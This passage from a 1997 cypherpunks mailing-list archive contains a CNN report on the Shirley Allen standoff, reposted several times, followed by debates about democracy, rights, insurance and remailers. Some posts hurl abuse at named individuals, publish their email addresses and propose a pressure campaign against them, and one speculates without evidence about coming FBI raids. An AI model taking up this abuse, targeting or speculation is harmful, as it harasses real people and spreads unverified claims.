Gainer tackled that one  head-on at a news conference Thursday, saying
it was about $15,000 a day.   He estimated the total cost
of the operation at $750,000 to $1 million. 

Obviously relieved that Allen was taken alive, an
unapologetic Gainer said,  "But I don't think Mrs.
Shirley Allen is worth a cent less than that." 

Police tried to get Allen out of her green frame
farmhouse with tear gas, pepper spray and music. They
also tried to coax her out with a visit from her favorite
stepdaughter. This week, they began giving her food
and restored her power, which had been shut off
earlier, in a goodwill gesture they hoped would calm
her down. 

Allen had fought off tear gas by smearing her face with
petroleum jelly and withstood beanbag bullets by wearing
heavy layers of clothing. 

She apparently slept in a sleeping bag in the living room -- the room
where her husband died -- and had two transistor radios with earplugs.
Gainer said the radios were tuned to a local public radio station. 

Protesters gathered daily to support her and criticized the police. 

'Mrs. Allen is where she needs to be' 

"The good feeling is it's over for her. The bad feeling
is how she's going to be trapped after this is over
with," said John Powers, a neighbor and one of the
protesters. "We don't know if they'll treat her as a
person who is sane or as a person who tried to shoot
their dog." 

Although Allen fired at state troopers and wounded a
police dog sent into her home Sunday, "it would serve
no useful purpose to charge her," Gainer said. "Given
what we have known from Day 1, Mrs. Allen is where
she needs to be right now." 

Reporter Lisa Price and The Associated Press
contributed to this report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lurker@ottoman.net
Date: Fri, 31 Oct 1997 16:43:23 +0800
Subject: No Subject
Message-ID: <199710310932.LAA11096@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



October 30, 1997
Web posted at: 9:34 p.m. EST (0234 GMT) 

ROBY, Illinois (CNN) -- Shirley A. Allen, a mentally disturbed woman
who held police off for 39 days with a shotgun and entertained herself
by listening to public radio, was captured Thursday and taken to a
hospital. 

"The good news is she's safe," said Terrance Gainer, Illinois state
police director. "The great news is nobody got seriously hurt or killed."

The standoff ended when Allen ventured out on the deck behind her
home to throw away food and water left for her by the police. On her
third trip, she stooped to cut a wire attached to a pail in which a police
camera was hidden. 

A trooper fired six rubber bullets at her, striking her two or three times
and knocking her to the deck, where she was captured. 

Gainer said that Allen, who wore a full camouflage suit padded
with a pillow and magazines, was examined at a hospital and
reported to be in good condition  was feisty enough after the
ordeal to scold police for their tactics during the standoff. 

Gainer said she is still in custody and will undergo a psychiatric
examination. 

"I think she's probably as relieved right now as we are that this
is over," said Allen's brother, Byron Dugger, who talked with her
after she was captured. 

Gainer said Allen asked Dugger to open his mouth to prove he
wasn't someone wearing a mask that looked like him. 

'They have zapped my head with radar' 

The standoff in this small central Illinois town began
September 22 when Allen, 51, brandished a shotgun
as her brother and sheriff's deputies tried to
take her in for a court-ordered evaluation. 

Allen's relatives were concerned because she had
become increasingly depressed and paranoid
since her husband died of pancreatic cancer in 1989. More
recently, she had refused to see or talk to her brother or her
86-year-old mother. 

In a letter to her mother in May 1996, Allen wrote, "They have
zapped my head with radar. I have swelling and inflammation of
the brain." 

She did not say who "they" were, but when police offered her
water after she was captured, she said "the helicopters" told her
not to drink it. There were no helicopters in sight, but she finally
drank the water after troopers drank some to prove it wasn't
poisoned. 

She told them she hadn't eaten or had anything to drink in three
days. 

Allen also talked to her daughter, Kate Waddell, after she was
captured. "But she wasn't quite sure it was Mrs. Waddell,"
Gainer said. 

Allen's case attracted the sympathy of many neighbors and
became a rallying point for some who called it "Roby Ridge,"
likening it to shootouts at Ruby Ridge, Idaho, and Waco, Texas,
as an example of overzealous law enforcement. 

Standoff cost taxpayers about $1 million 

Others questioned the expense of the standoff.
Gainer tackled that one  head-on at a news conference Thursday, saying
it was about $15,000 a day.   He estimated the total cost
of the operation at $750,000 to $1 million. 

Obviously relieved that Allen was taken alive, an
unapologetic Gainer said,  "But I don't think Mrs.
Shirley Allen is worth a cent less than that." 

Police tried to get Allen out of her green frame
farmhouse with tear gas, pepper spray and music. They
also tried to coax her out with a visit from her favorite
stepdaughter. This week, they began giving her food
and restored her power, which had been shut off
earlier, in a goodwill gesture they hoped would calm
her down. 

Allen had fought off tear gas by smearing her face with
petroleum jelly and withstood beanbag bullets by wearing
heavy layers of clothing. 

She apparently slept in a sleeping bag in the living room -- the room
where her husband died -- and had two transistor radios with earplugs.
Gainer said the radios were tuned to a local public radio station. 

Protesters gathered daily to support her and criticized the police. 

'Mrs. Allen is where she needs to be' 

"The good feeling is it's over for her. The bad feeling
is how she's going to be trapped after this is over
with," said John Powers, a neighbor and one of the
protesters. "We don't know if they'll treat her as a
person who is sane or as a person who tried to shoot
their dog." 

Although Allen fired at state troopers and wounded a
police dog sent into her home Sunday, "it would serve
no useful purpose to charge her," Gainer said. "Given
what we have known from Day 1, Mrs. Allen is where
she needs to be right now." 

Reporter Lisa Price and The Associated Press
contributed to this report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lurker@ottoman.net
Date: Fri, 31 Oct 1997 16:43:29 +0800
Subject: No Subject
Message-ID: <199710310933.LAA11099@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



October 30, 1997
Web posted at: 9:34 p.m. EST (0234 GMT) 

ROBY, Illinois (CNN) -- Shirley A. Allen, a mentally disturbed woman
who held police off for 39 days with a shotgun and entertained herself
by listening to public radio, was captured Thursday and taken to a
hospital. 

"The good news is she's safe," said Terrance Gainer, Illinois state
police director. "The great news is nobody got seriously hurt or killed."

The standoff ended when Allen ventured out on the deck behind her
home to throw away food and water left for her by the police. On her
third trip, she stooped to cut a wire attached to a pail in which a police
camera was hidden. 

A trooper fired six rubber bullets at her, striking her two or three times
and knocking her to the deck, where she was captured. 

Gainer said that Allen, who wore a full camouflage suit padded
with a pillow and magazines, was examined at a hospital and
reported to be in good condition  was feisty enough after the
ordeal to scold police for their tactics during the standoff. 

Gainer said she is still in custody and will undergo a psychiatric
examination. 

"I think she's probably as relieved right now as we are that this
is over," said Allen's brother, Byron Dugger, who talked with her
after she was captured. 

Gainer said Allen asked Dugger to open his mouth to prove he
wasn't someone wearing a mask that looked like him. 

'They have zapped my head with radar' 

The standoff in this small central Illinois town began
September 22 when Allen, 51, brandished a shotgun
as her brother and sheriff's deputies tried to
take her in for a court-ordered evaluation. 

Allen's relatives were concerned because she had
become increasingly depressed and paranoid
since her husband died of pancreatic cancer in 1989. More
recently, she had refused to see or talk to her brother or her
86-year-old mother. 

In a letter to her mother in May 1996, Allen wrote, "They have
zapped my head with radar. I have swelling and inflammation of
the brain." 

She did not say who "they" were, but when police offered her
water after she was captured, she said "the helicopters" told her
not to drink it. There were no helicopters in sight, but she finally
drank the water after troopers drank some to prove it wasn't
poisoned. 

She told them she hadn't eaten or had anything to drink in three
days. 

Allen also talked to her daughter, Kate Waddell, after she was
captured. "But she wasn't quite sure it was Mrs. Waddell,"
Gainer said. 

Allen's case attracted the sympathy of many neighbors and
became a rallying point for some who called it "Roby Ridge,"
likening it to shootouts at Ruby Ridge, Idaho, and Waco, Texas,
as an example of overzealous law enforcement. 

Standoff cost taxpayers about $1 million 

Others questioned the expense of the standoff.
Gainer tackled that one  head-on at a news conference Thursday, saying
it was about $15,000 a day.   He estimated the total cost
of the operation at $750,000 to $1 million. 

Obviously relieved that Allen was taken alive, an
unapologetic Gainer said,  "But I don't think Mrs.
Shirley Allen is worth a cent less than that." 

Police tried to get Allen out of her green frame
farmhouse with tear gas, pepper spray and music. They
also tried to coax her out with a visit from her favorite
stepdaughter. This week, they began giving her food
and restored her power, which had been shut off
earlier, in a goodwill gesture they hoped would calm
her down. 

Allen had fought off tear gas by smearing her face with
petroleum jelly and withstood beanbag bullets by wearing
heavy layers of clothing. 

She apparently slept in a sleeping bag in the living room -- the room
where her husband died -- and had two transistor radios with earplugs.
Gainer said the radios were tuned to a local public radio station. 

Protesters gathered daily to support her and criticized the police. 

'Mrs. Allen is where she needs to be' 

"The good feeling is it's over for her. The bad feeling
is how she's going to be trapped after this is over
with," said John Powers, a neighbor and one of the
protesters. "We don't know if they'll treat her as a
person who is sane or as a person who tried to shoot
their dog." 

Although Allen fired at state troopers and wounded a
police dog sent into her home Sunday, "it would serve
no useful purpose to charge her," Gainer said. "Given
what we have known from Day 1, Mrs. Allen is where
she needs to be right now." 

Reporter Lisa Price and The Associated Press
contributed to this report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lurker@ottoman.net
Date: Sat, 1 Nov 1997 17:58:06 +0800
To: Cypherpunks Lite <cp-lite@comsec.com>
Subject: No Subject
Message-ID: <199710312229.OAA27632@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



October 30, 1997
Web posted at: 9:34 p.m. EST (0234 GMT) 

ROBY, Illinois (CNN) -- Shirley A. Allen, a mentally disturbed woman
who held police off for 39 days with a shotgun and entertained herself
by listening to public radio, was captured Thursday and taken to a
hospital. 

"The good news is she's safe," said Terrance Gainer, Illinois state
police director. "The great news is nobody got seriously hurt or killed."

The standoff ended when Allen ventured out on the deck behind her
home to throw away food and water left for her by the police. On her
third trip, she stooped to cut a wire attached to a pail in which a police
camera was hidden. 

A trooper fired six rubber bullets at her, striking her two or three times
and knocking her to the deck, where she was captured. 

Gainer said that Allen, who wore a full camouflage suit padded
with a pillow and magazines, was examined at a hospital and
reported to be in good condition  was feisty enough after the
ordeal to scold police for their tactics during the standoff. 

Gainer said she is still in custody and will undergo a psychiatric
examination. 

"I think she's probably as relieved right now as we are that this
is over," said Allen's brother, Byron Dugger, who talked with her
after she was captured. 

Gainer said Allen asked Dugger to open his mouth to prove he
wasn't someone wearing a mask that looked like him. 

'They have zapped my head with radar' 

The standoff in this small central Illinois town began
September 22 when Allen, 51, brandished a shotgun
as her brother and sheriff's deputies tried to
take her in for a court-ordered evaluation. 

Allen's relatives were concerned because she had
become increasingly depressed and paranoid
since her husband died of pancreatic cancer in 1989. More
recently, she had refused to see or talk to her brother or her
86-year-old mother. 

In a letter to her mother in May 1996, Allen wrote, "They have
zapped my head with radar. I have swelling and inflammation of
the brain." 

She did not say who "they" were, but when police offered her
water after she was captured, she said "the helicopters" told her
not to drink it. There were no helicopters in sight, but she finally
drank the water after troopers drank some to prove it wasn't
poisoned. 

She told them she hadn't eaten or had anything to drink in three
days. 

Allen also talked to her daughter, Kate Waddell, after she was
captured. "But she wasn't quite sure it was Mrs. Waddell,"
Gainer said. 

Allen's case attracted the sympathy of many neighbors and
became a rallying point for some who called it "Roby Ridge,"
likening it to shootouts at Ruby Ridge, Idaho, and Waco, Texas,
as an example of overzealous law enforcement. 

Standoff cost taxpayers about $1 million 

Others questioned the expense of the standoff.
Gainer tackled that one  head-on at a news conference Thursday, saying
it was about $15,000 a day.   He estimated the total cost
of the operation at $750,000 to $1 million. 

Obviously relieved that Allen was taken alive, an
unapologetic Gainer said,  "But I don't think Mrs.
Shirley Allen is worth a cent less than that." 

Police tried to get Allen out of her green frame
farmhouse with tear gas, pepper spray and music. They
also tried to coax her out with a visit from her favorite
stepdaughter. This week, they began giving her food
and restored her power, which had been shut off
earlier, in a goodwill gesture they hoped would calm
her down. 

Allen had fought off tear gas by smearing her face with
petroleum jelly and withstood beanbag bullets by wearing
heavy layers of clothing. 

She apparently slept in a sleeping bag in the living room -- the room
where her husband died -- and had two transistor radios with earplugs.
Gainer said the radios were tuned to a local public radio station. 

Protesters gathered daily to support her and criticized the police. 

'Mrs. Allen is where she needs to be' 

"The good feeling is it's over for her. The bad feeling
is how she's going to be trapped after this is over
with," said John Powers, a neighbor and one of the
protesters. "We don't know if they'll treat her as a
person who is sane or as a person who tried to shoot
their dog." 

Although Allen fired at state troopers and wounded a
police dog sent into her home Sunday, "it would serve
no useful purpose to charge her," Gainer said. "Given
what we have known from Day 1, Mrs. Allen is where
she needs to be right now." 

Reporter Lisa Price and The Associated Press
contributed to this report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 19:18:11 +0800
To: cypherpunks@toad.com
Subject: Re: Archives?
Message-ID: <199710311108.MAA04659@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> Is there an archive of various papers concerning such things as Assassination
> Politics, Eternity Servers, Reputation Capital, The Blowfish Cipher, CROWDS,
> encryption of IP traffic, etc.?

Anonymous, worried that answering himself might lead to being
  incarcerated against his will for a mental evaluation, replies:

Tim C. May is a living archive of these issues and technologies, but
it is a bad idea to show up on his doorstep, unannounced.

However, it is sometimes possible to sneak into a website to be
found at http://jya.com/ and get out alive with as much information
as you are capable of stuffing into your CyberPockets during your
sojourn into the bowels of Cryptocracy.
If you enjoy browsing leisurely through odd piles of obscure posts
on all of the above, and more, the Infinity website CPUNX archive
can be found at http://infinigy.nus.sg/cypherpunks 
 (Of particular classical value are the many [ADMINISTRAVIUM]
  posts which contain valuable graphical representations of
  some of the more arcane CPUNX traditions.)

AlwaysHappyToHelpMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
Date: Fri, 31 Oct 1997 20:44:47 +0800
To: mark@unicorn.com
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT
In-Reply-To: <878300037.16771.193.133.230.33@unicorn.com>
Message-ID: <43e6aee147%Tim@tim01.ex.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



Mark wrote:
> 
> Jim Choate wrote:

> Indeed. Yet in a democracy, any two other members are assumed to know
> better than me, and any 51% to know better than the other 49%.
> 
> Democracy is merely the scoundrel's last attempt to maintain the divine
> right of kings by coverting it into the divine right of the elected. 
> 
> >Which means we should have the lowest number of incarcerated individuals
> >instead of the most.

Does it? Or does it mean that we potentially have 49% of the population
in jail for any particular act, deemed to be a crime by the remaining 51%?

Tim G.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
Date: Fri, 31 Oct 1997 21:04:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <v03102808b07e5e475a19@[207.167.93.63]>
Message-ID: <6f5aafe147%Tim@tim01.ex.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> At 8:11 AM -0700 10/30/97, Tim Griffiths wrote:
> 
> > We hear on TV etc people saying "If this draconian measure saves the
> > life of one innocent child its worth the loss of my right to walk in
> > the park, or whatever". This is clearly shit, but can people suggest a
> > sensible measure of when new legistlation is justified?
> 
> Is this a trick question, or sumpin'?
> 
> If not, then the answer is "the Constitution."

 I was trying to start from somewhere more fundamental than the
 Constitution, but if I understand you, you're saying that an arbitary, 
 allbeit 'self-evident', set of limitations are set down (i.e. the US
 Constitution) at some point in time and no new laws should be made that
 contradict this set of rules.
 By doing this, aren't we putting a dictatorial limit on whatever
 democracy we come up with? In effect saying "we're all equal under God,
 and God wrote the Constitution"?                            
 
> (I see that T.G.Griffiths@exeter.ac.uk is not an American. I apologize for
> my U.S.-centric response. Consult your local Charter or whatever to see if
> similar rights are spelled out. I suspect most adhocracies do not have
> rights clearly spelled out, modulo the irony that several people's
> republics have had nominally more rights-ensuring constitutions than the
> U.S. has had.)

No, this is the UK, we don't get rights here. Well, not quite true - for
example we do get the right to bear arms (1888 - can't recall the Act
offhand, but can find it). However, Her Maj. Gov reserves the right to tell
us exactly _which_ arms we can bear, which is why I've just handed my
beloved handguns in.
What we do get is more and more US-style laws being passed here, but
without the protection of a Constitution, e.g. looks like we'll get
Megan's Law shortly, but without a constitutionally-given right to privacy.

Tim G.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Sat, 1 Nov 1997 01:52:02 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: North CA cops skip preliminaries, get straight to torture
Message-ID: <2328C77FF9F2D011AE970000F84104A74933FC@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May ('>') wrote:
>>  This non-violent demonstrators were willing to accept the agreed
>>upon punishment/cost of their actions in protest of the actions
>>of their public servants. Their public servants, as usual, chose
>>to to act in the manner of savages who are incapable of holding
>>to the rule of law which they use to justify their confiscation
>>of the citizen's right to bear arms in the face of tyranny.
>
>Excuse me, but this modern notion that protesters get to "make a deal"
>about the fines they'll eventually pay is bogus. If they're
trespassing,
>they're trespassing. They don't get to take over Intel's factory, chain
>themselves to the Evil Factory doors, and then make a deal to pay some
>token fine.

I think you're overreacting here (or I am misreading the above '>>').
If the sentence is life, with a chance for parole after 15 years, or if
the sentence is death, that is what all those who practice civil
disobedience should face -- what the actual sentence is.  Applying
pepper spray directly to eyes of _non-violent_ demonstrators is "cruel
and unusual punishment", not just normal arrest procedures.  (Violent
demonstrators must deal with the consequences of their actions,
including death.)

[as usual -- just my own views...]
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 19:55:31 +0800
To: cypherpunks@toad.com
Subject: The reason we need to give up our rights...
Message-ID: <199710311146.MAA08928@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



We are told that we must give up our right to privacy in order for the
government to protect us from the horrors of child molesters, et al.

Recently, a Canadian man was charged with 572 instances of having
individual and group sex with pre-teenage boys. He was sentenced to
a 'duece-less' (two years less a day), which is 'soft time' in Canada,
and is served in a provincial jail instead of a federal institution.

We are expected to give up our right to privacy so that the sores on
our children's bums can be healed just in time for this guy to get out
and have another go at them?
Would it be ridiculous to suggest that the government *needs* this man
back out on the streets in 16 months (if he does 'good time') because 
there is a shortage of child molesters to hold over our heads for their
next attack on our rights and liberties?

Hell, give Tim McVeigh a pardon, and then use it for an excuse to make
use of compost in the commission of a crime a felony.

Personal not to FedUpMonger:
I'm just OldAndTiredMonger. I don't need this shit anymore.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Sat, 1 Nov 1997 01:54:57 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: PGP Employee on MKR
Message-ID: <2328C77FF9F2D011AE970000F84104A74933FD@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



>Scenario #2: employee quits jon in a huff, refuses to divulge
>passphrase, lots of queued encrypted email -- what now?

Or lots of encrypted old email that contains useful information.
Especially in a larger corporate environment, where an email system is
deployed that uses a proprietary message store (like Microsoft Mail or
Microsoft Exchange), people tend to use the mailboxes as storage
containers.  It gets worse if these isn't a way to get the messages out
of the vendor's message store conveniently -- if you want to keep old
messages around, they _have_ to be stored in the vendor's message store.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Sat, 1 Nov 1997 02:02:45 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: Protocols for Insurance to Maintain Privacy
Message-ID: <2328C77FF9F2D011AE970000F84104A74933FE@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



>You can improve the situation by purchasing high deductible policies.
>It is astonishing how quickly the rates fall when you are willing to
>pay the first few thousand yourself.

This is almost a necessity nowadays, as many employers don't start your
health coverage until you have been employed for 6 months.  A high
deductible makes self-insurance (at least for engineers) affordable when
in-between corporate health insurance policies.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 1 Nov 1997 05:06:59 +0800
To: cypherpunks@Algebra.COM
Subject: Bell sentencing timed to coincide with raids on militia members?
In-Reply-To: <199710311947.UAA04649@basement.replay.com>
Message-ID: <v03102803b07fe336d7fc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:47 PM -0700 10/31/97, Anonymous wrote:

>c) The narcs have a 'done deal' with the individual, and need to
>  postpone any signs of a 'sweetheart deal' so as not to spook
>  (pardon the pun) the targets of an ongoing investigation.
>d)  The warrants are in the mail and the individual's sentencing
>  is dependent on future testimony/cooperation.


By the way, I trust you have all seen the newswire report about a fax being
accidentally sent to a Washington (state) newspaper, advising FBI field
offices of possible militia activity in the Spokane and Washington state
areas?

Many of us believe this memo, apparently sent to the wrong address when an
FBI clerk hit the wrong button on the autosend FAX, is a hint that a series
of raids is coming. Could it be tied to information provided by Bell?
Maybe. Mabye not. But the sentencing of Bell, now delayed to November 21st,
fits with the likely timing of raids. (Thought the screwup with the fax
could delay things....)

I am including the AP text below, the key paragraphs (for "fair use").

---

Classified FBI fax sent by mistake - Oct. 27, 1997

SPOKANE, Washington (AP) -- A classified FBI document warning that
militia-linked terrorists may be plotting to bomb government
agencies during the holidays was sent by mistake to a movie
memorabilia shop.

Eric DuBois found the 11-page report on his fax machine October 9.
He called the FBI and also showed a copy to The Spokesman-Review
newspaper, which reported on the security breach Sunday.
...
The document, which bears the FBI logo and is marked
"confidential," was apparently intended to alert field agents in
the West. Based on the allegations of an informant, the report
names radicals who are believed to have stockpiled assault rifles,
handguns and explosives.
...

Copyright 1997  The Associated Press

---

Want to bet that the November 21st sentencing of Bell, right before this
very same holiday period, and in the very same region, has something to do
with the likely raids on the "radicals" "believed to have stockpiled" these
items?

Except for the explosives part, the rest of it sounds like what a lot of us
are doing. What laws are being broken by these "stockpilers"?

Get ready, folks. By the way, I'll be at the gun show at the Cow Palace in
San Francisco on the weekend of November 8-9, probably Saturday, the 8th.
Seems I'm running low on certain types of ammo, and I may want to pick up a
couple more assault rifles before Swinestein succeeds in completely banning
them.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 20:57:01 +0800
To: cypherpunks@algebra.com
Subject: Re: Protocols for Insuran
Message-ID: <199710311224.NAA13370@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



alan@ctrl-alt-del.com wrote:

 > Actually, the real "sucker rates" are the amounts small  >
 > businesses pay for insurance.

 > The big businesses (who can buy in bulk) get a pretty reasonable
 > deal for what they get.  The smaller companies who cannot
 > bargain the  price down get screwed.  (The rate my wife's
 > employer was paying was close to double what my insurance costs
 > and it covered ALOT less.)

 > I seriously doubt that most people could afford to self-insure
 > at the going rate.  (Not unless they have some serious income
 > they want to get rid of.)

Think of this as "evolution in action" <G>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 20:32:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Protocols for Insuran
Message-ID: <199710311226.NAA13587@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin wrote:

 > The Emergency Room Scenario is a little more challenging.  One
 > way to deal with it is to wear some obvious signs of wealth like
 > a $10,000 watch.  In a pinch you can give them the watch. ;-)
 > (Some of the nurses won't know what it is, but the doctors will,
 > I am sure.)

Except that very likely you'll be in the Emergency Room in the
first place, because you got shot during the mugging for your watch
-:)

Does that count as "evolution in action" too? :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 31 Oct 1997 23:25:47 +0800
To: T.G.Griffiths@exeter.ac.uk
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT
In-Reply-To: <43e6aee147%Tim@tim01.ex.ac.uk>
Message-ID: <199710311328.NAA02878@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim Griffiths <T.G.Griffiths@exeter.ac.uk> writes:
> > Jim Choate wrote:
> > >Which means we should have the lowest number of incarcerated individuals
> > >instead of the most.
> 
> Does it? Or does it mean that we potentially have 49% of the population
> in jail for any particular act, deemed to be a crime by the remaining 51%?

Sounds about a reasonable an outcome as can be expected from a
distortion of market economics such as democracy.  Probably it would
stabilize somewhere below 49% unless methods can be found to extract
enough money from people in jail by having them work.

The real problem as I see it with democracy is that not only do your
neighbours get to vote to have you locked up for something which is
none of their business, and has no conceivable effect up on them; but
they actually get to vote for you to be charged for the "service" of
being locked up to protect you from yourself.

There is a trend of making the "criminal" (the real victim in many
cases) finance his own persecution.

For example we have licensing regimes which are not in our interests,
and you know what, they charge for a license, and they lock people up
for not buying licenses.  And what is really galling is that the poor
sods who get locked up actually fund the process, lose money by being
locked up and pay two or three times for someone elses control
freakish whims.

The wild west was better than this state of affairs -- people didn't
have the energy or inclination to waste their own resources being nosy
parkers, and those that did were apt to wind up full of lead.

Perfect.

(Crime rate was reportedly pretty damn low too.)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 1 Nov 1997 02:42:04 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
Message-ID: <051a566c9691cfdb21332a9987029971@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) wrote:

> > The remailer hating Nazi called Patrick Oonk wrote:
> > >At least I don't hide behind a remailer. 

I'll bet he wears a badge with his full name, street address, and home
phone number when he walks down the street so as not to "hide behind"
his otherwise anonymous clothing! <g>  (Everyone is entitled to know
the identity of everyone else, right?)

> > If so, then burn in hell, Nazi scum-sucking weasel!
> >
> Ditto for Paul Pomes and Gary Burnore.

I'm familiar with the role of Gary Burnore <gburnore@netcom.com> and that
of his DataBasix associates Belinda Bryan <eridani@ix.netcom.com> and Billy
McClatchie (aka "Wotan") <wmcclatc@primenet.com> in getting the Mailmasher
and Huge Cajones remailers shut down.  Jeff Burchell posted a public
expose' of their harassment to Usenet back in June, apparently catching the
DataBasix folks off-guard.  But what's the story with Paul Pomes?  What has 
he done?

Perhaps the best thing that can be done with people like Burnore is to put
together an FAQ about their tactics, similar to what his "fans" have done
for the "Rev." Steve Winter.  Then when Burnore tries to stir up trouble by
first fabricating anonymous "abuse" and then demanding that it either be 
stopped and the culprit(s) identified (knowing in advance that's 
impossible), or else that the remailer be shut down, someone can forward 
that FAQ to the remailer's upstream provider, or whoever is being pressured 
to pull the plug.  And if Paul Pomes engages in the same dishonest tactics, 
that needs to be done with him as well.

--
  "I cannot convince myself that there is anyone so wise, so universally
comprehensive in his judgment, that he can be trusted with the power to
tell others:  'You shall not express yourself thus, you shall not
describe your own experiences; or depict the fantasies which your mind
has created; or laugh at what others set up as respectable; or question
old beliefs; or contradict the dogmas of the church, of our society, our
economic systems, and our political orthodoxy.'"
                    - Jake Zeitlin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
Date: Fri, 31 Oct 1997 21:46:28 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199710311257.GAA24473@einstein.ssz.com>
Message-ID: <c5fcb3e147%Tim@tim01.ex.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate:
 
> I didn't write any of this. Please be more careful with your quotes.

Except, of course, for the bit credited to you:

   Which means we should have the lowest number of incarcerated individuals
   instead of the most.
   
which was originally posted by you (or a spoof) in message
<199710310315.VAA2177@einstein.ssz.com>, and later quoted by Mark
in his reply, which I responded to. I admit the aknowledgements weren't
too clear, a mixture of mine and Mark's editing.


Tim G.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: vcarlos35@juno.com
Date: Sun, 2 Nov 1997 03:18:55 +0800
To: cypherpunks@toad.com
Subject: New remailer in operation at CharmQuark@juno.com
Message-ID: <19971031.135402.3822.0.vcarlos35@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi everyone,
I'm running an Type 1 (or Cypherpunks) Remailer at CharmQuark@juno.com,
using
GoddessHera's Juno Remailer ver 4.9, with nym capabilities turned on.
Send a message with subject "remailer-help" (No quotes) for more
information.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
Date: Fri, 31 Oct 1997 22:24:58 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199710311335.HAA24707@einstein.ssz.com>
Message-ID: <6d2cb7e147%Tim@tim01.ex.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



I wrote:

> >  ...[a]  set of limitations are set down (i.e. the US
> >  Constitution) at some point in time and no new laws should be made that
> >  contradict this set of rules.
